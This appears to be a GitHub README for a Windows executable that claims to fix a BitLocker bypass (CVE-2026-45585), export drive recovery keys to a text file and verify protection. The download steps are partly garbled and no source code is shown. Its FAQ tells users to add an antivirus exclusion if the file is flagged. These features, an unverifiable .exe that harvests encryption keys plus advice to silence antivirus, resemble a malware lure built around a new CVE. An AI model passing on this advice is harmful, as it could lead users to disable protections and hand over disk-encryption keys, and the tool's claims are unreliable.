tchuin2609/yellowkey-bitlockerManage BitLocker encrypted drives on Windows. Extract recovery keys, check encryption status, and apply security mitigations for CVE-2026-45585.
YellowKey-Bitlocker is a program for Windows 10 and Windows 11. It helps users secure drives against the CVE-2026-45585 vulnerability. This issue affects how BitLocker manages drive encryption. Attackers can exploit this flaw to bypass authentication on some systems. This tool allows users to identify if a system remains at risk and apply the necessary fixes.
The software also provides features to extract recovery keys, test the success of mitigation steps, and check the status of your drive encryption. It translates complex security commands into a basic, user-friendly interface. You do not need experience with command-line tools to use it.
Before you run YellowKey-Bitlocker, ensure your system meets these needs:
Follow these steps to obtain the tool:
.exe to start the download.Once the file finishes downloading, complete these steps to start the application:
.exe file.The interface identifies your current security status immediately upon starting.
The tool performs an automatic scan when it opens. It checks your current Windows update status and BitLocker configuration. It shows a notice if your system matches the profile for CVE-2026-45585.
If the tool finds that your system is at risk, it displays an "Apply Mitigation" button. Click this button to run the patch script. The program updates the registry settings to prevent the BitLocker bypass. Your computer remains stable during this process.
If you lose your recovery password, use the "Export Recovery Keys" button. This function attempts to read the current keys assigned to your encrypted drives and saves them to a text file. Keep this file in a safe spot, such as an offline USB drive or a physical printout. Never store this file in a location accessible to others.
Use the "Verify Protection" button to confirm if the fix works. The software runs a simulated check to ensure the vulnerability remains closed. It confirms that the system effectively blocks unauthorized attempts to access the drive encryption state.
Does this software delete my data? No. YellowKey-Bitlocker only interacts with the BitLocker configuration. It does not touch your personal files, documents, or photos.
What happens if the tool fails to run? Ensure you have the latest version of Windows installed. Check your antivirus settings as well; some security software incorrectly labels management tools as suspicious. Add an exclusion for the YellowKey file if your antivirus blocks it.
Can I run this on Windows 7? No. This tool is built specifically for the architecture found in Windows 10 and 11. It will not work on older versions of Windows.
Is this tool free? Yes. The software is released as an open-source project to help the community address the CVE-2026-45585 vulnerability without cost.
This tool relies on public research regarding the CVE-2026-45585 vulnerability. While the software simplifies the process, always remember to maintain frequent backups of your important data. BitLocker encryption is a sensitive system component. If you encounter errors, check the logs generated by the tool within the installation directory. These logs provide details about the specific system failure.
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